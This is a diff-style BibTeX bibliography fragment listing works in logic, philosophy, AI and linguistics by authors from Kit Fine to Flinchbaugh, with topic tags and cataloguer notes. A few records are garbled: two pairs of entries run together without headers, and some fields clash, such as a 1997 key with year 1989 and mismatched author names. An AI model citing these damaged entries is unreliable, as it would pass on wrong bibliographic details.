Objects}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {123--142}, + address = {Dordrecht}, + xref = {Same as fine_k:1983a?}, + topic = {arbitrary-objects;} + } + +@article{ fine_k-mccarthy:1984a, + author = {Kit Fine and Timothy McCarthy}, + title = {Truth without Satisfaction}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {4}, + pages = {397--421}, + topic = {truth-definitions;} + } + +@article{ fine_k:1985a, + author = {Kit Fine}, + title = {Natural Deduction and Arbitrary Objects}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {1}, + pages = {57--107}, + topic = {arbitrary-objects;proof-theory;} + } + +@article{ fine_k:1988a, + author = {Kit Fine}, + title = {Semantics for Quantified Relevance Logic}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {1}, + pages = {27--59}, + topic = {relavance-logic;} + } + +@incollection{ fine_k:1994a, + author = {Kit Fine}, + title = {Essence and Modality: The Second Philosophical + Perspectives Lecture}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {1--16}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {metaphysics;essence;essentialism;modal-logic; + internal/external-properties;} + } + +@article{ fine_k:1995a, + author = {Kit Fine}, + title = {The Logic of Essence}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {3}, + pages = {241--273}, + topic = {modal-logic;reference;individuation;} + } + +@incollection{ fine_k-schurz:1996a, + author = {Kit Fine and Gerhard Schurz}, + title = {Transfer Theorems for Multimodal Logics}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {169--213}, + address = {Oxford}, + contentnote = {Transfer theorems have to do with transferring + properties of monomodal logics to the combination.}, + title = {Cantorian Abstractionism: A Reconstruction and Defense}, + journal = {Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {12}, + pages = {599--634}, + topic = {foundations-of-set-theory;philosophy-of-mathematics;} + } + +@article{ fine_k:2000a, + author = {Kit Fine}, + title = {Neutral Relations}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {1}, + pages = {1--33}, + topic = {metaphysics;relations;} + } + +@article{ fingarette:1967a, + author = {Herbert Fingarette}, + title = {Performatives}, + journal = {American Philosophical Quarterly}, + year = {1967}, + volume = {4}, + pages = {39--48}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@phdthesis{ finger_j:1986a, + author = {J.J. Finger}, + title = {Exploiting Constraints in Design Synthesis}, + school = {Department of Computer Science, Stanford University}, + year = {1986}, + type = {Ph.{D}. Dissertation}, + address = {Stanford, California}, + missinginfo = {A's 1st name. Check date. Some refs say 1987.}, + contentnote = {This is what Stickel calls "predicate specific abduction". + Also, this is the original reference for the so-called + "ramification problem".}, + topic = {abduction;theorem-proving;} + } + +@article{ finger_m-gabbay:1992a, + author = {Marcelo Finger and Dov M. Gabbay}, + title = {Adding a Temporal Dimension to a Logic System}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {3}, + pages = {203--233}, + title = {Review of {\it The Imperative Future: Principles of + Executable Temporal Logic}, by {H}. {B}arringer, {M}. {F}isher, {D}. + {G}abbay, {R}. {O}wens and {M}. {R}eynolds}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {105--106}, + topic = {temporal-logic;temporal-reasoning;software-engineering;} + } + +@phdthesis{ finin:1980a, + author = {Timothy W. Finin}, + title = {The Semantic Interpretation of Compound Nominals}, + school = {University of Illinois}, + year = {1980}, + type = {Ph.{D}. Dissertation}, + address = {Urbana, Illinois}, + topic = {compound-nouns;} + } + +@incollection{ finin:1989a, + author = {Timothy W. Finin}, + title = {{GUMS}---A General User Modeling Shell}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {411--430}, + address = {Berlin}, + topic = {user-modeling;} + } + +@article{ fink-yang:1997a, + author = {Eugene Fink and Qiang Wang}, + title = {Automatically Selecting and Using Primary Effects in + Planning: Theory and Experiments}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {89}, + number = {1--2}, + pages = {285--315}, + topic = {planning;search;} + } + +@article{ finkel-fishburn_jp:1982a, + author = {Raphael A. Finkel and John P. Fishburn}, + title = {Parallelism in Alpha-Beta Search}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {1}, + pages = {89--106}, + topic = {search;} + } + +@article{ finkelstein_d:1977a, + author = {David Finkelstein}, + title = {The {L}eibniz Project}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {425--439}, + topic = {quantum-logic;} + } + +@incollection{ finkelstein_d:1988a, + author = {David Finkelstein}, + title = {Finite Physics}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {349--376}, + address = {Oxford}, + contentnote = {Idea is to use ideas from theory of computation to + reformulate QM.}, + topic = {foundations-of-physics;} + } + +@article{ finkelstein_l-markovitch:2001a, + author = {Lev Finkelstein and Shaul Markovitch}, + title = {Optimal Schedules for Monitoring Anytime Algorithms}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {63--108}, + topic = {anytime-algorithms;metareasoning;} + } + +@incollection{ finn-etal:1994a, + author = {V.K. Finn and O.M. Anshakov and R.Sh. Grigola and M.I. + Zabeshailo}, + title = {Many-Valued Logics as Fragments of Formalized + Semantics}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {239--272}, + address = {Helsinki}, + topic = {multi-valued-logic;} + } + +@inproceedings{ firby-etal:1995a, + author = {R. James Firby and Roger E. Kahn and Peter N. + Prokopopowitz and Michael J. Swain}, + title = {An Architecture for Vision and Action}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {72--79}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {foundations-of-robotics;} + } + +@incollection{ firozabadi-lee:1998a, + author = {B. Sadighi Firozabadi, Y.-H. Tan and R.M. Lee}, + title = {Formal Definitions of Fraud}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {275--288}, + address = {Amsterdam}, + topic = {logic-and-law;} + } + +@incollection{ firth:1969a, + author = {Roderick Firth}, + title = {Austin's Argument From Illusion}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {254--266}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;phenomenalism;} + } + +@incollection{ fischer_b-etal:1998a, + author = {B. Fischer et al.}, + title = {Deduction-Based Software Component Retrieval}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;software-engineering;} + } + +@incollection{ fischer_dm:1997a, + author = {Dietrich H. Fischer}, + title = {Formal Redundancy and Consistency + Checking Rules for the Lexical Database + {W}ord{N}et}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {22--31}, + address = {New Brunswick, New Jersey}, + topic = {wordnet;consistency-checking;} + } + +@book{ fischer_jm-ravizza:1994a, + author = {John Martin Fischer and Mark Ravizza}, + title = {Responsibility and Control: A Theory of Moral + Responsibility}, + publisher = {Blackwell Publishers}, + year = {1995}, + address = {Oxford}, + contentnote = {A defense of compatibilism.}, + topic = {freedom;volition;responsibility;} + } + +@book{ fischer_jm:1995a, + author = {John Martin Fischer}, + title = {The Metaphysics of Free Will}, + publisher = {Blackwell Publishers}, + year = {1995}, + address = {Oxford}, + contentnote = {A defense of compatibilism.}, + topic = {freedom;volition;} + } + +@book{ fischer_jm-ravizza:1998a, + author = {John Martin Fischer and Mark Ravizza}, + title = {Responsibility and Control: A Theory of Moral + Responsibility}, + publisher = {Cambridge University Press}, + year = {1998}, + address = {Cambridge, England}, + xref = {Review: mckenna:2001a.}, + topic = {freedom;volition;} + } + +@article{ fischer_jm:1999a, + author = {John Martin Fischer}, + title = {Mele's {\it Autonomous Agents: From Self-Control + to Autonomy}}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {133--143}, + xref = {Review of: mele:1995a.}, + topic = {action;volition;akrasia;} + } + +@incollection{ fischer_k-brandtpook:1998a, + author = {Kerstin Fischer and Hans Brandt-Pook}, + title = {Automatic Disambiguation of Discourse Particles}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {107--113}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;disambiguation;} + } + +@article{ fischer_mj-ladner:1979a, + author = {Michael J. Fischer and R.E. Ladner}, + title = {Propositional Dynamic Logic of Regular Programs}, + journal = {Journal of Computer and System Sciences}, + year = {1979}, + volume = {18}, + number = {2}, + pages = {194--211}, + topic = {dynamic-logic;} + } + +@techreport{ fischer_mj:1986a, + author = {Michael J. Fischer}, + title = {The Consensus Problem in Unreliable Distributed Systems}, + institution = {Yale University}, + number = {RR--273}, + year = {1986}, + address = {New Haven, Connecticut}, + topic = {distributed-systems;protocol-analysis;mutual-beliefs;} + } + +@inproceedings{ fischer_mj-immerman:1986a, + author = {Michael J. Fischer and Neil Immerman}, + title = {Foundations of Knowledge for Distributed Systems}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {171--185}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {epistemic-logic;distributed-systems;} + } + +@article{ fischer_mj-immerman:1987a, + author = {Michael J. Fischer and Neil Immerman}, + title = {Interpreting Logics of Knowledge in Propositional Dynamic + Logic With Converse}, + journal = {Information Processing Letters}, + year = {1987}, + volume = {25}, + number = {3}, + pages = {175--182}, + topic = {epistemic-logic;dynamic-logic;} + } + +@techreport{ fischer_mj-zuck:1987a, + author = {Michael J. Fischer and L.D. Zuck}, + title = {Relative Knowledge and Belief}, + institution = {Yale University}, + number = {TR--589}, + year = {1987}, + address = {New Haven, Connecticut}, + topic = {epistemic-logic;belief;} + } + +@article{ fischoff-etal:1984a, + author = {B. Fischhoff and S.R. Watson and C. Hope}, + title = {Defining Risk}, + journal = {Policy Science}, + year = {1984}, + volume = {17}, + pages = {123--139}, + missinginfo = {A's 1st name, number}, + topic = {risk;} + } + +@book{ fishbein-ajzen:1975a, + author = {Martin Fishbein and Icek Ajzen}, + title = {Belief, Attitude, Intention, and Behavior: An Introduction + to Theory and Research}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1975}, + address = {Reading}, + ISBN = {0201020890}, + topic = {attitudes-in-psychology;} + } + +@book{ fishburn:1964a, + author = {Peter C. Fishburn}, + title = {Decision and Value Theory}, + publisher = {John Wiley and Sons, Inc.}, + year = {1964}, + address = {New York}, + topic = {decision-theory;utility-theory;multiattribute-utility;} + } + +@book{ fishburn:1969a, + author = {Peter C. Fishburn}, + title = {Utility Theory for Decision Making}, + publisher = {Robert E. Krieger Publishing Co.}, + year = {1969}, + address = {Huntington, New York}, + topic = {utility-theory;multiattribute-utility;} + } + +@incollection{ fishburn:1977a, + author = {Peter C. Fishburn}, + title = {Multiattribute Utilities in Expected Utility Theory}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {172--196}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;foundations-of-utility;} + } + +@book{ fishburn:1982a, + author = {Peter C. Fishburn}, + title = {Foundations of Expected Utility}, + publisher = {D. Reidel Publishing Co.}, + year = {1982}, + address = {Dordrecht}, + topic = {foundations-of-utility;multiattribute-utility;} + } + +@incollection{ fishburn:1987a, + author = {Peter C. Fishburn}, + title = {Independent Preferences}, + booktitle = {The New Palgrave: Utility and Probability}, + publisher = {Macmillan}, + year = {1987}, + editor = {John Eatwell and Murray Milgate and Peter Newman}, + pages = {121--127}, + address = {New York}, + topic = {multiattribute-utility;} + } + +@book{ fishburn:1988a, + author = {Peter C. Fishburn}, + title = {Nonlinear Preference and Utility Theory}, + publisher = {The Johns Hopkins University Press}, + year = {1988}, + address = {Baltimore}, + topic = {utility-theory;multiattribute-utility;} + } + +@article{ fishman-minker:1975a, + author = {Daniel H. Fishman and Jack Minker}, + title = {$\Pi$-Representation: A Clause Representation for Parallel + Search}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {2}, + pages = {103--127}, + acontentnote = {Abstract: + An extension to the clause form of the first-order predicate + calculus is described which facilitates parallel search + operations. This notation, called parallel representation + (Pi-representation), permits the representation of sets of + clauses as single ``Pi-clauses''. Extensions to the operations + of unification, factoring, and resolution which apply to this + notation are also described, and the advantages of + Pi-representation with respect to parallel searching, memory + utilization, and the use of semantics are discussed.}, + topic = {search;parallel-processing;} + } + +@article{ fisler:1999a, + author = {Kathi Fisler}, + title = {Timing Diagrams: Formalization and Algorithmic + Verification}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {3}, + pages = {323--361}, + topic = {reasoning-with-diagrams;} + } + +@book{ fitch_fb:1952a, + author = {Frederic B. Fitch}, + title = {Symbolic Logic: An Introduction}, + publisher = {The Ronald Press Co.}, + year = {1952}, + address = {New York}, + topic = {logic-intro;natural-deduction;} + } + +@article{ fitch_fb:1964a, + author = {Frederic B. Fitch}, + title = {Universal Metalanguages for Philosophy}, + journal = {Review of Metaphysics}, + year = {1964}, + volume = {17}, + number = {3}, + pages = {396--402}, + topic = {semantic-paradoxes;} + } + +@unpublished{ fitch_fb:1965a, + author = {Frederic B. Fitch}, + title = {A Correlation between Modal Reduction Principles + and Properties of Relations}, + year = {1965}, + note = {Unpublished manuscript, Yale University}, + topic = {modal-logic;combinatory-logic;} + } + +@article{ fitch_fb:1966a, + author = {Frederic B. Fitch}, + title = {Natural Deduction Rules for Obligation}, + journal = {American Philosophical Quarterly}, + year = {1966}, + volume = {3}, + number = {1}, + pages = {1--12}, + topic = {deontic-logic;natural-deduction;} + } + +@article{ fitch_fb:1967a, + author = {Frederic B. Fitch}, + title = {A Theory of Logical Essences}, + journal = {The Monist}, + year = {1967}, + volume = {51}, + number = {1}, + pages = {104--109}, + topic = {modal-logic;foundations-of-set-theory;} + } + +@article{ fitch_fb:1967b, + author = {Frederic B. Fitch}, + title = {A Revision of {H}ohfeld's Theory of Legal Concepts}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1967}, + volume = {10}, + number = {39--40}, + topic = {deontic-logic;legal-reasoning;} + } + +@article{ fitch_fb:1973a, + author = {Frederic B. Fitch}, + title = {A Correlation Between Modal Reduction Principles + and Properties of Relations}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {97--101}, + topic = {modal-logic;} + } + +@article{ fitch_fb:1973b, + author = {Frederic B. Fitch}, + title = {Natural Deduction Rules for {E}nglish}, + journal = {Philosophical Studies}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {89--104}, + topic = {nl-semantics;natural-deduction;} + } + +@unpublished{ fitch_fb:1975a, + author = {Frederic B. Fitch}, + title = {The Relation between Natural Languages and Formal + Languages}, + year = {1975}, + note = {Unpublished manuscript, Yale University.}, + topic = {natural-language/formal-language;} + } + +@incollection{ fitch_gw:1993a, + author = {G.W. Fitch}, + title = {Non Denoting}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {461--486}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reference-gaps;} + } + +@article{ fitoussi-tennenholtz:2000a, + author = {David Fitoussi and Moshe Tennenholtz}, + title = {Choosing Social Laws for Multi-Agent Systems: Minimality + and Simplicity}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {61--101}, + topic = {distributed-systems;artificial-societies;omulti-agent-systems;} + } + +@book{ fitting:1969a, + author = {Melvin C. Fitting}, + title = {Intuitionistic Logic, Model Theory and Forcing}, + publisher = {North-Holland}, + address = {Amsterdam}, + year = {1969}, + topic = {intuitionistic-logic;} + } + +@article{ fitting:1985b, + author = {Melvin Fitting}, + title = {A {K}ripke-{K}leene Semantics for Logic Programs}, + journal = {Journal of Logic Programming}, + year = {1985}, + volume = {4}, + pages = {295--312}, + missinginfo = {number}, + topic = {logic-programming;modal-logic;} + } + +@article{ fitting:1985c, + author = {Melvin Fitting}, + title = {A Deterministic {P}rolog Fixpoint Semantics}, + journal = {Journal of Logic Programming}, + year = {1985}, + volume = {2}, + pages = {111--118}, + missinginfo = {number}, + topic = {logic-programming;fixpoint-semantics;} + } + +@article{ fitting:1986a, + author = {Melvin Fitting}, + title = {Notes on the Mathematical Aspects of {K}ripke's Theory + of Truth}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1986}, + volume = {27}, + pages = {75--88}, + missinginfo = {number}, + topic = {truth;} + } + +@article{ fitting:1986b, + author = {Melvin Fitting}, + title = {Partial Models and Logic Programming}, + journal = {Theoretical Computer Science}, + year = {1986}, + volume = {48}, + pages = {229--255}, + missinginfo = {number}, + topic = {partial-logic;logic-programming;} + } + +@article{ fitting:1987a, + author = {Melvin Fitting}, + title = {Enumeration Operators and Modular Logic Programming}, + journal = {Journal of Logic Programming}, + year = {1987}, + volume = {4}, + pages = {11--21}, + missinginfo = {number}, + topic = {logic-programming;} + } + +@article{ fitting:1988a, + author = {Melvin Fitting}, + title = {Logic Programming on a Topological Bilattice}, + journal = {Fundamenta Mathematicae}, + year = {1988}, + volume = {11}, + pages = {209--218}, + missinginfo = {number}, + topic = {bilattices;logic-programming;} + } + +@unpublished{ fitting:1989a, + author = {Melvin Fitting}, + title = {Modal Logic Should Say More Than It Does}, + year = {1988}, + note = {Unpublished manuscript, Lehmann College.}, + topic = {quantifying-in-modality;modal-logic;} + } + +@article{ fitting:1989b, + author = {Melvin Fitting}, + title = {Bilattices and the Theory of Truth}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {3}, + pages = {225--256}, + topic = {bilattices;truth;} + } + +@article{ fitting:1991a, + author = {Melvin Fitting}, + title = {Many-Valued Modal Logics}, + journal = {Fundamenta Informaticae}, + year = {1991}, + volume = {15}, + number = {3--4}, + pages = {335--3}, + topic = {multi-valued-logic;modal-logic;} + } + +@incollection{ fitting:1993a, + author = {Melvin Fitting}, + title = {Basic Modal Logic}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {368--448}, + address = {Oxford}, + year = {1993}, + missinginfo = {ed's 1st name}, + topic = {kr;logic-survey;modal-logic;kr-course;} +} + +@inproceedings{ fitting:1995a, + author = {Melving C. Fitting}, + title = {Annotated Revision Specification Programs}, + booktitle = {Logic Programming and Nonmonotonic Reasoning}, + publisher = {Springer-Verlag}, + editor = {Wictor Marek and Anil Nerode and Marek Truszcynski}, + year = {1995}, + pages = {143--155}, + address = {Berlin}, + topic = {logic-programming;belief-revision;} + } + +@article{ fitting:1997a, + author = {Melvin Fitting}, + title = {A Theory of Truth Prefers Falsehood}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {477--500}, + topic = {truth;fixpoints;stable-models;} + } + +@inproceedings{ fitting:1998a, + author = {Melvin Fitting}, + title = {Bertrand {R}ussell, {H}erbrand's + Theorem, and the Assignment Statement}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {14--28}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {modal-logic;quantifying-in-modality;proof-theory;} + } + +@book{ fitting-mendelsohn:1998b, + author = {Melvin Fitting and Richard L. Mendelsohn}, + title = {First Order Modal Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + xref = {Review: shehtman:2001a.}, + ISBN = {0-7923-5334-X}, + xref = {Review: } , + topic = {modal-logic;} + } + +@article{ fitzgerald:1985a, + author = {Paul Fitzgerald}, + title = {The Crash of the Market in Futures}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {10}, + pages = {560--562}, + topic = {branching-time;future-contingent-propositions;} + } + +@article{ fitzpatrick:1998a, + author = {Eileen Fitzpatrick}, + title = {Review of {\it An Introduction to Text-to-Speech + Synthesis}, by {T}hierry {D}utoit}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {322--323}, + topic = {speech-generation;} + } + +@incollection{ flach:1996a, + author = {Peter A. Flach}, + title = {Rationality Postulates for Induction}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {267--281}, + address = {San Francisco}, + topic = {rationality;induction;} + } + +@incollection{ flach:1998a, + author = {Peter A. Flach}, + title = {Comparing Consequence Relations}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {180--189}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-reasoning;kr-course;} + } + +@article{ flach:2001a, + author = {Peter A. Flach}, + title = {On the State of the Art in Machine Learning: A Personal + Review}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {199--222}, + xref = {Review of: langley:1996a, mitchell_tm:1997b, witten-frank_e:2000a, + adriaans-zantinge:1996a, weiss_sm-indurkhya:1998a}, + topic = {machine-learning;data-mining;AI-instruction;} + } + +@book{ flake:1998a, + author = {Gary William Flake}, + title = {The Computational Beauty of Nature}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-56127-1}, + xref = {Review: berzins:2001a, moses_m-forrest:2001a}, + topic = {fractals;chaos-theory;computational-aesthetics;} + } + +@article{ flake:2001a, + author = {Gary William Flake}, + title = {{G}.{W}. {F}lake, {\it {T}he Computational Beauty of + Nature}}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {129}, + number = {1--2}, + pages = {243--244}, + xref = {Response to berzins:2001a, moses_m-forrest:2001a, which are + reviews of flake:1998a.}, + topic = {fractals;chaos-theory;computational-aesthetics;} + } + +@book{ flanagan:1984a, + author = {Owen {Flanagan, Jr.}}, + title = {The Science of the Mind}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + ISBN = {026256031-3}, + topic = {philosophy-of-mind;foundations-of-cognitive-science; + philosophy-of-AI;} + } + +@book{ flanagan-rorty_ao:1990a, + editor = {Owen {Flanagan, Jr.} and Am\'elie Oksenberg Rorty}, + title = {Identity, Character, and Morality : Essays In Moral + Psychology}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + ISBN = {0262061155}, + topic = {philosophical-psychology;} + } + +@book{ flanagan:1992a, + author = {Owen {Flanagan, Jr.}}, + title = {Consciousness Reconsidered}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {consciousness;} + } + +@inproceedings{ flank:1998a, + author = {Sharon Flank}, + title = {A Layered Approach to {NLP}-Based Information Retrieval}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {397--403}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {information-retrieval;WordNet;} +} + +@article{ fleck:1996a, + author = {Margaret M. Fleck}, + title = {The Topology of Boundaries}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {1--27}, + topic = {visual-reasoning;} + } + +@article{ fleming_a:1988a, + author = {Alan Fleming}, + title = {Geometric Relationships between Toleranced Features}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {403--412}, + acontentnote = {Abstract: + The design for a mechanical part often includes tolerance + information. Tolerances can be defined with tolerance zones and + datums. A tolerance zone is a region of space in which a portion + of the surface of a real part must lie. A datum is a point, an + infinite line or an infinite plane. This paper shows how a + toleranced part can be represented as a network of tolerance + zones and datums connected by arcs to which inequality + constraints are attached. The network can be extended to deal + with assemblies of parts. The work can be applied in + computer-aided design where a tolerance specification needs to + be checked.}, + topic = {CAD;device-modeling;} + } + +@incollection{ fleming_gh:2000a, + author = {Gordon N. Fleming}, + title = {Reeh-{S}chlieder Meets {N}ewton-{W}igner}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S494--S515}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;relativity-theory;quantum-field-theory;} + } + +@incollection{ flener-popelmnsky:1994a, + author = {Pierre Flener and Lubos Popelmnsky}, + title = {On the Use of Inductive + Reasoning in Program Synthesis: Prejudice and + Prospects}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {69--87}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@book{ flew:1960a, + editor = {Antony Flew}, + title = {Essays in Conceptual Analysis}, + publisher = {Macmillam}, + year = {1960}, + address = {London}, + topic = {analytic-philosophy;} + } + +@incollection{ flew:1960b, + author = {Antony Flew}, + title = {Philosophy and Language}, + booktitle = {Essays in Conceptual Analysis}, + publisher = {Macmillam}, + year = {1960}, + editor = {Antony Flew}, + pages = {1--20}, + address = {London}, + topic = {philosophy-and-language;} + } + +@book{ flick:1998a, + author = {Uwe Flick}, + title = {An Introduction to Qualitative Research}, + publisher = {Sage Publications}, + year = {1998}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@inproceedings{ flickinger-etal:1985a, + author = {Daniel Flickinger and Carl Pollard and Thomas Wasow}, + title = {Structure-Sharing in Lexical Representation}, + booktitle = {Proceedings of the Twenty-Third Meeting of the + Association for Computational Linguistics}, + year = {1985}, + editor = {William Mann}, + pages = {262--267}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Morristown, New Jersey}, + topic = {computational-lexicography;GPSG;} + } + +@phdthesis{ flickinger:1987a, + author = {Daniel Flickinger}, + title = {Lexical Rules in the Hierarchical Lexicon}, + school = {Linguistics Department, Stanford University}, + year = {1987}, + address = {Stanford, California}, + month = {September}, + topic = {lexicon;computational-lexicography;inheritance-in-lexicon; + lexical-rules;} + } + +@article{ flickinger-nerbonne:1992a, + author = {Daniel Flickinger and John Nerbonne}, + title = {Inheritance and Complementation: A Case Study of {\it Easy} + Adjectives and Related Nouns}, + journal = {Computational Linguistics}, + year = {1992}, + volume = {18}, + pages = {269--310}, + topic = {nm-ling;computational-lexical-semantics;} + } + +@incollection{ fliegelstone-etal:1997a, + author = {Steve Fliegelstone and Mike Pacey and Paul Rayson}, + title = {How to Generalize the Task of Annotation}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {122--136}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;} + } + +@article{ flinchbaugh-chandrasekaran:1981a, + author = {Bruce E. Flinchbaugh and B. Chandrasekaran}, + title = {A Theory of Spatio-Temporal Aggregation for Vision}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {387--407}, + acontentnote = {Abstract: + A theory of spatio-temporal aggregation is proposed as an + explanation for the visual process of grouping together elements + in an image sequence whose motions and positions have consistent + interpretations as the retinal projections of a coherent or + isolated cluster of `particles' in the physical world. + Assumptions of confluence and adjacency are made in order to + constrain the infinity of possible interpretations to a + computationally more manageable domain of plausible + interpretations. Confluence and adjacency lead to the + derivation of specific rules for grouping which permit the + appropriate aggregation of rigid and quasi-rigid objects in + motion and at rest under a variety of conditions. The theory is + reconciled with existing computational theories of vision so as + to complement them, and to provide a useful link in the + continual abstraction of visual information. } , + topic = {computer-vision;} 